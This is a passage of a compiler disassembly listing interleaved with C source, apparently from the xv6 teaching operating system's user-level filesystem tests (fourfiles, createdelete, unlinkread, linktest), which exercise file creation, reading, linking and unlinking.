105e: 0f 88 68 01 00 00 js 11cc <fourfiles+0x1bc> if (pid == 0) { 1064: 0f 84 df 00 00 00 je 1149 <fourfiles+0x139> for (pi = 0; pi < 4; pi++) { 106a: 83 c3 01 add $0x1,%ebx 106d: 83 fb 04 cmp $0x4,%ebx 1070: 74 06 je 1078 <fourfiles+0x68> 1072: 8b 74 9d d8 mov -0x28(%ebp,%ebx,4),%esi 1076: eb d3 jmp 104b <fourfiles+0x3b> wait(); 1078: e8 4c 28 00 00 call 38c9 <wait> for (i = 0; i < 2; i++) { 107d: 31 ff xor %edi,%edi wait(); 107f: e8 45 28 00 00 call 38c9 <wait> 1084: e8 40 28 00 00 call 38c9 <wait> 1089: e8 3b 28 00 00 call 38c9 <wait> 108e: c7 45 d0 1e 42 00 00 movl $0x421e,-0x30(%ebp) fd = open(fname, 0); 1095: 83 ec 08 sub $0x8,%esp total = 0; 1098: 31 db xor %ebx,%ebx fd = open(fname, 0); 109a: 6a 00 push $0x0 109c: ff 75 d0 pushl -0x30(%ebp) 109f: e8 5d 28 00 00 call 3901 <open> while ((n = read(fd, buf, sizeof(buf))) > 0) { 10a4: 83 c4 10 add $0x10,%esp fd = open(fname, 0); 10a7: 89 45 d4 mov %eax,-0x2c(%ebp) 10aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi while ((n = read(fd, buf, sizeof(buf))) > 0) { 10b0: 83 ec 04 sub $0x4,%esp 10b3: 68 00 20 00 00 push $0x2000 10b8: 68 80 86 00 00 push $0x8680 10bd: ff 75 d4 pushl -0x2c(%ebp) 10c0: e8 14 28 00 00 call 38d9 <read> 10c5: 83 c4 10 add $0x10,%esp 10c8: 85 c0 test %eax,%eax 10ca: 7e 26 jle 10f2 <fourfiles+0xe2> for (j = 0; j < n; j++) { 10cc: 31 d2 xor %edx,%edx 10ce: 66 90 xchg %ax,%ax if (buf[j] != '0' + i) { 10d0: 0f be b2 80 86 00 00 movsbl 0x8680(%edx),%esi 10d7: 83 ff 01 cmp $0x1,%edi 10da: 19 c9 sbb %ecx,%ecx 10dc: 83 c1 31 add $0x31,%ecx 10df: 39 ce cmp %ecx,%esi 10e1: 0f 85 be 00 00 00 jne 11a5 <fourfiles+0x195> for (j = 0; j < n; j++) { 10e7: 83 c2 01 add $0x1,%edx 10ea: 39 d0 cmp %edx,%eax 10ec: 75 e2 jne 10d0 <fourfiles+0xc0> total += n; 10ee: 01 c3 add %eax,%ebx 10f0: eb be jmp 10b0 <fourfiles+0xa0> close(fd); 10f2: 83 ec 0c sub $0xc,%esp 10f5: ff 75 d4 pushl -0x2c(%ebp) 10f8: e8 ec 27 00 00 call 38e9 <close> if (total != 12 * 500) { 10fd: 83 c4 10 add $0x10,%esp 1100: 81 fb 70 17 00 00 cmp $0x1770,%ebx 1106: 0f 85 d3 00 00 00 jne 11df <fourfiles+0x1cf> unlink(fname); 110c: 83 ec 0c sub $0xc,%esp 110f: ff 75 d0 pushl -0x30(%ebp) 1112: e8 fa 27 00 00 call 3911 <unlink> for (i = 0; i < 2; i++) { 1117: 83 c4 10 add $0x10,%esp 111a: 83 ff 01 cmp $0x1,%edi 111d: 75 1a jne 1139 <fourfiles+0x129> printf(1, "fourfiles ok\n"); 111f: 83 ec 08 sub $0x8,%esp 1122: 68 62 42 00 00 push $0x4262 1127: 6a 01 push $0x1 1129: e8 32 29 00 00 call 3a60 <printf> } 112e: 83 c4 10 add $0x10,%esp 1131: 8d 65 f4 lea -0xc(%ebp),%esp 1134: 5b pop %ebx 1135: 5e pop %esi 1136: 5f pop %edi 1137: 5d pop %ebp 1138: c3 ret 1139: 8b 45 dc mov -0x24(%ebp),%eax 113c: bf 01 00 00 00 mov $0x1,%edi 1141: 89 45 d0 mov %eax,-0x30(%ebp) 1144: e9 4c ff ff ff jmp 1095 <fourfiles+0x85> fd = open(fname, O_CREATE | O_RDWR); 1149: 83 ec 08 sub $0x8,%esp 114c: 68 02 02 00 00 push $0x202 1151: 56 push %esi 1152: e8 aa 27 00 00 call 3901 <open> if (fd < 0) { 1157: 83 c4 10 add $0x10,%esp 115a: 85 c0 test %eax,%eax fd = open(fname, O_CREATE | O_RDWR); 115c: 89 c6 mov %eax,%esi if (fd < 0) { 115e: 78 59 js 11b9 <fourfiles+0x1a9> memset(buf, '0' + pi, 512); 1160: 83 ec 04 sub $0x4,%esp 1163: 83 c3 30 add $0x30,%ebx 1166: 68 00 02 00 00 push $0x200 116b: 53 push %ebx 116c: bb 0c 00 00 00 mov $0xc,%ebx 1171: 68 80 86 00 00 push $0x8680 1176: e8 85 25 00 00 call 3700 <memset> 117b: 83 c4 10 add $0x10,%esp if ((n = write(fd, buf, 500)) != 500) { 117e: 83 ec 04 sub $0x4,%esp 1181: 68 f4 01 00 00 push $0x1f4 1186: 68 80 86 00 00 push $0x8680 118b: 56 push %esi 118c: e8 50 27 00 00 call 38e1 <write> 1191: 83 c4 10 add $0x10,%esp 1194: 3d f4 01 00 00 cmp $0x1f4,%eax 1199: 75 57 jne 11f2 <fourfiles+0x1e2> for (i = 0; i < 12; i++) { 119b: 83 eb 01 sub $0x1,%ebx 119e: 75 de jne 117e <fourfiles+0x16e> exit(); 11a0: e8 1c 27 00 00 call 38c1 <exit> printf(1, "wrong char\n"); 11a5: 83 ec 08 sub $0x8,%esp 11a8: 68 45 42 00 00 push $0x4245 11ad: 6a 01 push $0x1 11af: e8 ac 28 00 00 call 3a60 <printf> exit(); 11b4: e8 08 27 00 00 call 38c1 <exit> printf(1, "create failed\n"); 11b9: 51 push %ecx 11ba: 51 push %ecx 11bb: 68 bf 44 00 00 push $0x44bf 11c0: 6a 01 push $0x1 11c2: e8 99 28 00 00 call 3a60 <printf> exit(); 11c7: e8 f5 26 00 00 call 38c1 <exit> printf(1, "fork failed\n"); 11cc: 53 push %ebx 11cd: 53 push %ebx 11ce: 68 f9 4c 00 00 push $0x4cf9 11d3: 6a 01 push $0x1 11d5: e8 86 28 00 00 call 3a60 <printf> exit(); 11da: e8 e2 26 00 00 call 38c1 <exit> printf(1, "wrong length %d\n", total); 11df: 50 push %eax 11e0: 53 push %ebx 11e1: 68 51 42 00 00 push $0x4251 11e6: 6a 01 push $0x1 11e8: e8 73 28 00 00 call 3a60 <printf> exit(); 11ed: e8 cf 26 00 00 call 38c1 <exit> printf(1, "write failed %d\n", n); 11f2: 52 push %edx 11f3: 50 push %eax 11f4: 68 34 42 00 00 push $0x4234 11f9: 6a 01 push $0x1 11fb: e8 60 28 00 00 call 3a60 <printf> exit(); 1200: e8 bc 26 00 00 call 38c1 <exit> 1205: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00001210 <createdelete>: { 1210: 55 push %ebp 1211: 89 e5 mov %esp,%ebp 1213: 57 push %edi 1214: 56 push %esi 1215: 53 push %ebx for (pi = 0; pi < 4; pi++) { 1216: 31 db xor %ebx,%ebx { 1218: 83 ec 44 sub $0x44,%esp printf(1, "createdelete test\n"); 121b: 68 70 42 00 00 push $0x4270 1220: 6a 01 push $0x1 1222: e8 39 28 00 00 call 3a60 <printf> 1227: 83 c4 10 add $0x10,%esp pid = fork(); 122a: e8 8a 26 00 00 call 38b9 <fork> if (pid < 0) { 122f: 85 c0 test %eax,%eax 1231: 0f 88 be 01 00 00 js 13f5 <createdelete+0x1e5> if (pid == 0) { 1237: 0f 84 0b 01 00 00 je 1348 <createdelete+0x138> for (pi = 0; pi < 4; pi++) { 123d: 83 c3 01 add $0x1,%ebx 1240: 83 fb 04 cmp $0x4,%ebx 1243: 75 e5 jne 122a <createdelete+0x1a> 1245: 8d 7d c8 lea -0x38(%ebp),%edi name[0] = name[1] = name[2] = 0; 1248: be ff ff ff ff mov $0xffffffff,%esi wait(); 124d: e8 77 26 00 00 call 38c9 <wait> 1252: e8 72 26 00 00 call 38c9 <wait> 1257: e8 6d 26 00 00 call 38c9 <wait> 125c: e8 68 26 00 00 call 38c9 <wait> name[0] = name[1] = name[2] = 0; 1261: c6 45 ca 00 movb $0x0,-0x36(%ebp) 1265: 8d 76 00 lea 0x0(%esi),%esi 1268: 8d 46 31 lea 0x31(%esi),%eax 126b: 88 45 c7 mov %al,-0x39(%ebp) 126e: 8d 46 01 lea 0x1(%esi),%eax 1271: 83 f8 09 cmp $0x9,%eax 1274: 89 45 c0 mov %eax,-0x40(%ebp) 1277: 0f 9f c3 setg %bl 127a: 85 c0 test %eax,%eax 127c: 0f 94 c0 sete %al 127f: 09 c3 or %eax,%ebx 1281: 88 5d c6 mov %bl,-0x3a(%ebp) name[2] = '\0'; 1284: bb 70 00 00 00 mov $0x70,%ebx name[1] = '0' + i; 1289: 0f b6 45 c7 movzbl -0x39(%ebp),%eax fd = open(name, 0); 128d: 83 ec 08 sub $0x8,%esp name[0] = 'p' + pi; 1290: 88 5d c8 mov %bl,-0x38(%ebp) fd = open(name, 0); 1293: 6a 00 push $0x0 1295: 57 push %edi name[1] = '0' + i; 1296: 88 45 c9 mov %al,-0x37(%ebp) fd = open(name, 0); 1299: e8 63 26 00 00 call 3901 <open> if ((i == 0 || i >= N / 2) && fd < 0) { 129e: 83 c4 10 add $0x10,%esp 12a1: 80 7d c6 00 cmpb $0x0,-0x3a(%ebp) 12a5: 0f 84 85 00 00 00 je 1330 <createdelete+0x120> 12ab: 85 c0 test %eax,%eax 12ad: 0f 88 1a 01 00 00 js 13cd <createdelete+0x1bd> } else if ((i >= 1 && i < N / 2) && fd >= 0) { 12b3: 83 fe 08 cmp $0x8,%esi 12b6: 0f 86 54 01 00 00 jbe 1410 <createdelete+0x200> if (fd >= 0) close(fd); 12bc: 83 ec 0c sub $0xc,%esp 12bf: 50 push %eax 12c0: e8 24 26 00 00 call 38e9 <close> 12c5: 83 c4 10 add $0x10,%esp 12c8: 83 c3 01 add $0x1,%ebx for (pi = 0; pi < 4; pi++) { 12cb: 80 fb 74 cmp $0x74,%bl 12ce: 75 b9 jne 1289 <createdelete+0x79> 12d0: 8b 75 c0 mov -0x40(%ebp),%esi for (i = 0; i < N; i++) { 12d3: 83 fe 13 cmp $0x13,%esi 12d6: 75 90 jne 1268 <createdelete+0x58> 12d8: be 70 00 00 00 mov $0x70,%esi 12dd: 8d 76 00 lea 0x0(%esi),%esi 12e0: 8d 46 c0 lea -0x40(%esi),%eax name[0] = name[1] = name[2] = 0; 12e3: bb 04 00 00 00 mov $0x4,%ebx 12e8: 88 45 c7 mov %al,-0x39(%ebp) name[0] = 'p' + i; 12eb: 89 f0 mov %esi,%eax unlink(name); 12ed: 83 ec 0c sub $0xc,%esp name[0] = 'p' + i; 12f0: 88 45 c8 mov %al,-0x38(%ebp) name[1] = '0' + i; 12f3: 0f b6 45 c7 movzbl -0x39(%ebp),%eax unlink(name); 12f7: 57 push %edi name[1] = '0' + i; 12f8: 88 45 c9 mov %al,-0x37(%ebp) unlink(name); 12fb: e8 11 26 00 00 call 3911 <unlink> for (pi = 0; pi < 4; pi++) { 1300: 83 c4 10 add $0x10,%esp 1303: 83 eb 01 sub $0x1,%ebx 1306: 75 e3 jne 12eb <createdelete+0xdb> 1308: 83 c6 01 add $0x1,%esi for (i = 0; i < N; i++) { 130b: 89 f0 mov %esi,%eax 130d: 3c 84 cmp $0x84,%al 130f: 75 cf jne 12e0 <createdelete+0xd0> printf(1, "createdelete ok\n"); 1311: 83 ec 08 sub $0x8,%esp 1314: 68 83 42 00 00 push $0x4283 1319: 6a 01 push $0x1 131b: e8 40 27 00 00 call 3a60 <printf> } 1320: 8d 65 f4 lea -0xc(%ebp),%esp 1323: 5b pop %ebx 1324: 5e pop %esi 1325: 5f pop %edi 1326: 5d pop %ebp 1327: c3 ret 1328: 90 nop 1329: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if ((i >= 1 && i < N / 2) && fd >= 0) { 1330: 83 fe 08 cmp $0x8,%esi 1333: 0f 86 cf 00 00 00 jbe 1408 <createdelete+0x1f8> if (fd >= 0) close(fd); 1339: 85 c0 test %eax,%eax 133b: 78 8b js 12c8 <createdelete+0xb8> 133d: e9 7a ff ff ff jmp 12bc <createdelete+0xac> 1342: 8d b6 00 00 00 00 lea 0x0(%esi),%esi name[0] = 'p' + pi; 1348: 83 c3 70 add $0x70,%ebx name[2] = '\0'; 134b: c6 45 ca 00 movb $0x0,-0x36(%ebp) 134f: 8d 7d c8 lea -0x38(%ebp),%edi name[0] = 'p' + pi; 1352: 88 5d c8 mov %bl,-0x38(%ebp) name[2] = '\0'; 1355: 31 db xor %ebx,%ebx 1357: eb 0f jmp 1368 <createdelete+0x158> 1359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for (i = 0; i < N; i++) { 1360: 83 fb 13 cmp $0x13,%ebx 1363: 74 63 je 13c8 <createdelete+0x1b8> 1365: 83 c3 01 add $0x1,%ebx fd = open(name, O_CREATE | O_RDWR); 1368: 83 ec 08 sub $0x8,%esp name[1] = '0' + i; 136b: 8d 43 30 lea 0x30(%ebx),%eax fd = open(name, O_CREATE | O_RDWR); 136e: 68 02 02 00 00 push $0x202 1373: 57 push %edi name[1] = '0' + i; 1374: 88 45 c9 mov %al,-0x37(%ebp) fd = open(name, O_CREATE | O_RDWR); 1377: e8 85 25 00 00 call 3901 <open> if (fd < 0) { 137c: 83 c4 10 add $0x10,%esp 137f: 85 c0 test %eax,%eax 1381: 78 5f js 13e2 <createdelete+0x1d2> close(fd); 1383: 83 ec 0c sub $0xc,%esp 1386: 50 push %eax 1387: e8 5d 25 00 00 call 38e9 <close> if (i > 0 && (i % 2) == 0) { 138c: 83 c4 10 add $0x10,%esp 138f: 85 db test %ebx,%ebx 1391: 74 d2 je 1365 <createdelete+0x155> 1393: f6 c3 01 test $0x1,%bl 1396: 75 c8 jne 1360 <createdelete+0x150> if (unlink(name) < 0) { 1398: 83 ec 0c sub $0xc,%esp name[1] = '0' + (i / 2); 139b: 89 d8 mov %ebx,%eax 139d: d1 f8 sar %eax if (unlink(name) < 0) { 139f: 57 push %edi name[1] = '0' + (i / 2); 13a0: 83 c0 30 add $0x30,%eax 13a3: 88 45 c9 mov %al,-0x37(%ebp) if (unlink(name) < 0) { 13a6: e8 66 25 00 00 call 3911 <unlink> 13ab: 83 c4 10 add $0x10,%esp 13ae: 85 c0 test %eax,%eax 13b0: 79 ae jns 1360 <createdelete+0x150> printf(1, "unlink failed\n"); 13b2: 52 push %edx 13b3: 52 push %edx 13b4: 68 71 3e 00 00 push $0x3e71 13b9: 6a 01 push $0x1 13bb: e8 a0 26 00 00 call 3a60 <printf> exit(); 13c0: e8 fc 24 00 00 call 38c1 <exit> 13c5: 8d 76 00 lea 0x0(%esi),%esi exit(); 13c8: e8 f4 24 00 00 call 38c1 <exit> printf(1, "oops createdelete %s didn't exist\n", name); 13cd: 83 ec 04 sub $0x4,%esp 13d0: 57 push %edi 13d1: 68 30 4f 00 00 push $0x4f30 13d6: 6a 01 push $0x1 13d8: e8 83 26 00 00 call 3a60 <printf> exit(); 13dd: e8 df 24 00 00 call 38c1 <exit> printf(1, "create failed\n"); 13e2: 51 push %ecx 13e3: 51 push %ecx 13e4: 68 bf 44 00 00 push $0x44bf 13e9: 6a 01 push $0x1 13eb: e8 70 26 00 00 call 3a60 <printf> exit(); 13f0: e8 cc 24 00 00 call 38c1 <exit> printf(1, "fork failed\n"); 13f5: 53 push %ebx 13f6: 53 push %ebx 13f7: 68 f9 4c 00 00 push $0x4cf9 13fc: 6a 01 push $0x1 13fe: e8 5d 26 00 00 call 3a60 <printf> exit(); 1403: e8 b9 24 00 00 call 38c1 <exit> } else if ((i >= 1 && i < N / 2) && fd >= 0) { 1408: 85 c0 test %eax,%eax 140a: 0f 88 b8 fe ff ff js 12c8 <createdelete+0xb8> printf(1, "oops createdelete %s did exist\n", name); 1410: 50 push %eax 1411: 57 push %edi 1412: 68 54 4f 00 00 push $0x4f54 1417: 6a 01 push $0x1 1419: e8 42 26 00 00 call 3a60 <printf> exit(); 141e: e8 9e 24 00 00 call 38c1 <exit> 1423: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00001430 <unlinkread>: { 1430: 55 push %ebp 1431: 89 e5 mov %esp,%ebp 1433: 56 push %esi 1434: 53 push %ebx printf(1, "unlinkread test\n"); 1435: 83 ec 08 sub $0x8,%esp 1438: 68 94 42 00 00 push $0x4294 143d: 6a 01 push $0x1 143f: e8 1c 26 00 00 call 3a60 <printf> fd = open("unlinkread", O_CREATE | O_RDWR); 1444: 5b pop %ebx 1445: 5e pop %esi 1446: 68 02 02 00 00 push $0x202 144b: 68 a5 42 00 00 push $0x42a5 1450: e8 ac 24 00 00 call 3901 <open> if (fd < 0) { 1455: 83 c4 10 add $0x10,%esp 1458: 85 c0 test %eax,%eax 145a: 0f 88 e6 00 00 00 js 1546 <unlinkread+0x116> write(fd, "hello", 5); 1460: 83 ec 04 sub $0x4,%esp 1463: 89 c3 mov %eax,%ebx 1465: 6a 05 push $0x5 1467: 68 ca 42 00 00 push $0x42ca 146c: 50 push %eax 146d: e8 6f 24 00 00 call 38e1 <write> close(fd); 1472: 89 1c 24 mov %ebx,(%esp) 1475: e8 6f 24 00 00 call 38e9 <close> fd = open("unlinkread", O_RDWR); 147a: 58 pop %eax 147b: 5a pop %edx 147c: 6a 02 push $0x2 147e: 68 a5 42 00 00 push $0x42a5 1483: e8 79 24 00 00 call 3901 <open> if (fd < 0) { 1488: 83 c4 10 add $0x10,%esp 148b: 85 c0 test %eax,%eax fd = open("unlinkread", O_RDWR); 148d: 89 c3 mov %eax,%ebx if (fd < 0) { 148f: 0f 88 10 01 00 00 js 15a5 <unlinkread+0x175> if (unlink("unlinkread") != 0) { 1495: 83 ec 0c sub $0xc,%esp 1498: 68 a5 42 00 00 push $0x42a5 149d: e8 6f 24 00 00 call 3911 <unlink> 14a2: 83 c4 10 add $0x10,%esp 14a5: 85 c0 test %eax,%eax 14a7: 0f 85 e5 00 00 00 jne 1592 <unlinkread+0x162> fd1 = open("unlinkread", O_CREATE | O_RDWR); 14ad: 83 ec 08 sub $0x8,%esp 14b0: 68 02 02 00 00 push $0x202 14b5: 68 a5 42 00 00 push $0x42a5 14ba: e8 42 24 00 00 call 3901 <open> write(fd1, "yyy", 3); 14bf: 83 c4 0c add $0xc,%esp fd1 = open("unlinkread", O_CREATE | O_RDWR); 14c2: 89 c6 mov %eax,%esi write(fd1, "yyy", 3); 14c4: 6a 03 push $0x3 14c6: 68 02 43 00 00 push $0x4302 14cb: 50 push %eax 14cc: e8 10 24 00 00 call 38e1 <write> close(fd1); 14d1: 89 34 24 mov %esi,(%esp) 14d4: e8 10 24 00 00 call 38e9 <close> if (read(fd, buf, sizeof(buf)) != 5) { 14d9: 83 c4 0c add $0xc,%esp 14dc: 68 00 20 00 00 push $0x2000 14e1: 68 80 86 00 00 push $0x8680 14e6: 53 push %ebx 14e7: e8 ed 23 00 00 call 38d9 <read> 14ec: 83 c4 10 add $0x10,%esp 14ef: 83 f8 05 cmp $0x5,%eax 14f2: 0f 85 87 00 00 00 jne 157f <unlinkread+0x14f> if (buf[0] != 'h') { 14f8: 80 3d 80 86 00 00 68 cmpb $0x68,0x8680 14ff: 75 6b jne 156c <unlinkread+0x13c> if (write(fd, buf, 10) != 10) { 1501: 83 ec 04 sub $0x4,%esp 1504: 6a 0a push $0xa 1506: 68 80 86 00 00 push $0x8680 150b: 53 push %ebx 150c: e8 d0 23 00 00 call 38e1 <write> 1511: 83 c4 10 add $0x10,%esp 1514: 83 f8 0a cmp $0xa,%eax 1517: 75 40 jne 1559 <unlinkread+0x129> close(fd); 1519: 83 ec 0c sub $0xc,%esp 151c: 53 push %ebx 151d: e8 c7 23 00 00 call 38e9 <close> unlink("unlinkread"); 1522: c7 04 24 a5 42 00 00 movl $0x42a5,(%esp) 1529: e8 e3 23 00 00 call 3911 <unlink> printf(1, "unlinkread ok\n"); 152e: 58 pop %eax 152f: 5a pop %edx 1530: 68 4d 43 00 00 push $0x434d 1535: 6a 01 push $0x1 1537: e8 24 25 00 00 call 3a60 <printf> } 153c: 83 c4 10 add $0x10,%esp 153f: 8d 65 f8 lea -0x8(%ebp),%esp 1542: 5b pop %ebx 1543: 5e pop %esi 1544: 5d pop %ebp 1545: c3 ret printf(1, "create unlinkread failed\n"); 1546: 51 push %ecx 1547: 51 push %ecx 1548: 68 b0 42 00 00 push $0x42b0 154d: 6a 01 push $0x1 154f: e8 0c 25 00 00 call 3a60 <printf> exit(); 1554: e8 68 23 00 00 call 38c1 <exit> printf(1, "unlinkread write failed\n"); 1559: 51 push %ecx 155a: 51 push %ecx 155b: 68 34 43 00 00 push $0x4334 1560: 6a 01 push $0x1 1562: e8 f9 24 00 00 call 3a60 <printf> exit(); 1567: e8 55 23 00 00 call 38c1 <exit> printf(1, "unlinkread wrong data\n"); 156c: 53 push %ebx 156d: 53 push %ebx 156e: 68 1d 43 00 00 push $0x431d 1573: 6a 01 push $0x1 1575: e8 e6 24 00 00 call 3a60 <printf> exit(); 157a: e8 42 23 00 00 call 38c1 <exit> printf(1, "unlinkread read failed"); 157f: 56 push %esi 1580: 56 push %esi 1581: 68 06 43 00 00 push $0x4306 1586: 6a 01 push $0x1 1588: e8 d3 24 00 00 call 3a60 <printf> exit(); 158d: e8 2f 23 00 00 call 38c1 <exit> printf(1, "unlink unlinkread failed\n"); 1592: 50 push %eax 1593: 50 push %eax 1594: 68 e8 42 00 00 push $0x42e8 1599: 6a 01 push $0x1 159b: e8 c0 24 00 00 call 3a60 <printf> exit(); 15a0: e8 1c 23 00 00 call 38c1 <exit> printf(1, "open unlinkread failed\n"); 15a5: 50 push %eax 15a6: 50 push %eax 15a7: 68 d0 42 00 00 push $0x42d0 15ac: 6a 01 push $0x1 15ae: e8 ad 24 00 00 call 3a60 <printf> exit(); 15b3: e8 09 23 00 00 call 38c1 <exit> 15b8: 90 nop 15b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000015c0 <linktest>: { 15c0: 55 push %ebp 15c1: 89 e5 mov %esp,%ebp 15c3: 53 push %ebx 15c4: 83 ec 0c sub $0xc,%esp printf(1, "linktest\n"); 15c7: 68 5c 43 00 00 push $0x435c 15cc: 6a 01 push $0x1 15ce: e8 8d 24 00 00 call 3a60 <printf> unlink("lf1"); 15d3: c7 04 24 66 43 00 00 movl $0x4366,(%esp) 15da: e8 32 23 00 00 call 3911 <unlink> unlink("lf2"); 15df: c7 04 24 6a 43 00 00 movl $0x436a,(%esp) 15e6: e8 26 23 00 00 call 3911 <unlink> fd = open("lf1", O_CREATE | O_RDWR); 15eb: 58 pop %eax 15ec: 5a pop %edx 15ed: 68 02 02 00 00 push $0x202 15f2: 68 66 43 00 00 push $0x4366 15f7: e8 05 23 00 00 call 3901 <open> if (fd < 0) { 15fc: 83 c4 10 add $0x10,%esp 15ff: 85 c0 test %eax,%eax 1601: 0f 88 1e 01 00 00 js 1725 <linktest+0x165> if (write(fd, "hello", 5) != 5) { 1607: 83 ec 04 sub $0x4,%esp 160a: 89 c3 mov %eax,%ebx 160c: 6a 05 push $0x5 160e: 68 ca 42 00 00 push $0x42ca 1613: 50 push %eax 1614: e8 c8 22 00 00 call 38e1 <write> 1619: 83 c4 10 add $0x10,%esp 161c: 83 f8 05 cmp $0x5,%eax 161f: 0f 85 98 01 00 00 jne 17bd <linktest+0x1fd> close(fd); 1625: 83 ec 0c sub $0xc,%esp 1628: 53 push %ebx 1629: e8 bb 22 00 00 call 38e9 <close> if (link("lf1", "lf2") < 0) { 162e: 5b pop %ebx 162f: 58 pop %eax 1630: 68 6a 43 00 00 push $0x436a 1635: 68 66 43 00 00 push $0x4366 163a: e8 e2 22 00 00 call 3921 <link> 163f: 83 c4 10 add $0x10,%esp 1642: 85 c0 test %eax,%eax 1644: 0f 88 60 01 00 00 js 17aa <linktest+0x1ea> unlink("lf1"); 164a: 83 ec 0c sub $0xc,%esp 164d: 68 66 43 00 00 push $0x4366 1652: e8 ba 22 00 00 call 3911 <unlink> if (open("lf1", 0) >= 0) { 1657: 58 pop %eax 1658: 5a pop %edx 1659: 6a 00 push $0x0 165b: 68 66 43 00 00 push $0x4366 1660: e8 9c 22 00 00 call 3901 <open> 1665: 83 c4 10 add $0x10,%esp 1668: 85 c0 test %eax,%eax 166a: 0f 89 27 01 00 00 jns 1797 <linktest+0x1d7> fd = open("lf2", 0); 1670: 83 ec 08 sub $0x8,%esp 1673: 6a 00 push $0x0 1675: 68 6a 43 00 00 push $0x436a 167a: e8 82 22 00 00 call 3901 <open> if (fd < 0) { 167f: 83 c4 10 add $0x10,%esp 1682: 85 c0 test %eax,%eax fd = open("lf2", 0); 1684: 89 c3 mov %eax,%ebx if (fd < 0) { 1686: 0f 88 f8 00 00 00 js 1784 <linktest+0x1c4> if (read(fd, buf, sizeof(buf)) != 5) { 168c: 83 ec 04 sub $0x4,%esp 168f: 68 00 20 00 00 push $0x2000 1694: 68 80 86 00 00 push $0x8680 1699: 50 push %eax 169a: e8 3a 22 00 00 call 38d9 <read> 169f: 83 c4 10 add $0x10,%esp 16a2: 83 f8 05 cmp $0x5,%eax 16a5: 0f 85 c6 00 00 00 jne 1771 <linktest+0x1b1> close(fd); 16ab: 83 ec 0c sub $0xc,%esp 16ae: 53 push %ebx 16af: e8 35 22 00 00 call 38e9 <close> if (link("lf2", "lf2") >= 0) { 16b4: 58 pop %eax 16b5: 5a pop %edx 16b6: 68 6a 43 00 00 push $0x436a 16bb: 68 6a 43 00 00 push $0x436a 16c0: e8 5c 22 00 00 call 3921 <link> 16c5: 83 c4 10 add $0x10,%esp 16c8: 85 c0 test %eax,%eax 16ca: 0f 89 8e 00 00 00 jns 175e <linktest+0x19e> unlink("lf2"); 16d0: 83 ec 0c sub $0xc,%esp 16d3: 68 6a 43 00 00 push $0x436a 16d8: e8 34 22 00 00 call 3911 <unlink> if (link("lf2", "lf1") >= 0) { 16dd: 59 pop %ecx 16de: 5b pop %ebx 16df: 68 66 43 00 00 push $0x4366 16e4: 68 6a 43 00 00 push $0x436a 16e9: e8 33 22 00 00 call 3921 <link> 16ee: 83 c4 10 add $0x10,%esp 16f1: 85 c0 test %eax,%eax 16f3: 79 56 jns 174b <linktest+0x18b> if (link(".", "lf1") >= 0) { 16f5: 83 ec 08 sub $0x8,%esp 16f8: 68 66 43 00 00 push $0x4366 16fd: 68 2e 46 00 00 push $0x462e 1702: e8 1a 22 00 00 call 3921 <link> 1707: 83 c4 10 add $0x10,%esp 170a: 85 c0 test %eax,%eax 170c: 79 2a jns 1738 <linktest+0x178> printf(1, "linktest ok\n"); 170e: 83 ec 08 sub $0x8,%esp 1711: 68 04 44 00 00 push $0x4404 1716: 6a 01 push $0x1 1718: e8 43 23 00 00 call 3a60 <printf> } 171d: 83 c4 10 add $0x10,%esp 1720: 8b 5d fc mov -0x4(%ebp),%ebx 1723: c9 leave 1724: c3 ret printf(1, "create lf1 failed\n"); 1725: 50 push %eax 1726: 50 push %eax 1727: 68 6e 43 00 00 push $0x436e 172c: 6a 01 push $0x1 172e: e8 2d 23 00 00 call 3a60 <printf> exit(); 1733: e8 89 21 00 00 call 38c1 <exit> printf(1, "link . lf1 succeeded! oops\n"); 1738: 50 push %eax 1739: 50 push %eax 173a: 68 e8 43 00 00 push $0x43e8 173f: 6a 01 push $0x1 1741: e8 1a 23 00 00 call 3a60 <printf> exit(); 1746: e8 76 21 00 00 call 38c1 <exit> printf(1, "link non-existant succeeded! oops\n"); 174b: 52 push %edx 174c: 52 push %edx 174d: 68 9c 4f 00 00 push $0x4f9c 1752: 6a 01 push $0x1 1754: e8 07 23 00 00 call 3a60 <printf> exit(); 1759: e8 63 21 00 00 call 38c1 <exit> printf(1, "link lf2 lf2 succeeded! oops\n"); 175e: 50 push %eax 175f: 50 push %eax 1760: 68 ca 43 00 00 push $0x43ca 1765: 6a 01 push $0x1 1767: e8 f4 22 00 00 call 3a60 <printf> exit(); 176c: e8 50 21 00 00 call 38c1 <exit> printf(1, "read lf2 failed\n"); 1771: 51 push %ecx 1772: 51 push %ecx 1773: 68 b9 43 00 00 push $0x43b9 1778: 6a 01 push $0x1 177a: e8 e1 22 00 00 call 3a60 <printf> exit(); 177f: e8 3d 21 00 00 call 38c1 <exit> printf(1, "open lf2 failed\n"); 1784: 53 push %ebx 1785: 53 push %ebx 1786: 68 a8 43 00 00 push $0x43a8 178b: 6a 01 push $0x1 178d: e8 ce 22 00 00 call 3a60 <printf> exit(); 1792: e8 2a 21 00 00 call 38c1 <exit> printf(1, "unlinked lf1 but it is still there!\n"); 1797: 50 push %eax 1798: 50 push %eax 1799: 68 74 4f 00 00 push $0x4f74 179e: 6a 01 push $0x1 17a0: e8 bb 22 00 00 call 3a60 <printf> exit(); 17a5: e8 17 21 00 00 call 38c1 <exit> printf(1, "link lf1 lf2 failed\n"); 17aa: 51 push %ecx 17ab: 51 push %ecx 17ac: 68 93 43 00 00 push $0x4393 17b1: 6a 01 push $0x1 17b3: e8 a8 22 00 00 call 3a60 <printf> exit(); 17b8: e8 04 21 00 00 call 38c1 <exit> printf(1, "write lf1 failed\n"); 17bd: 50 push %eax 17be: 50 push %eax 17bf: 68 81 43 00 00 push $0x4381 17c4: 6a 01 push $0x1 17c6: e8 95 22 00 00 call 3a60 <printf> exit(); 17cb: e8 f1 20 00 00 call 38c1 <exit> 000017d0 <concreate>: { 17d0: 55 push %ebp 17d1: 89 e5 mov %esp,%ebp 17d3: 57 push %edi 17d4: 56 push %esi 17d5: 53 push %ebx for (i = 0; i < 40; i++) { 17d6: 31 f6 xor %esi,%esi 17d8: 8d 5d ad lea 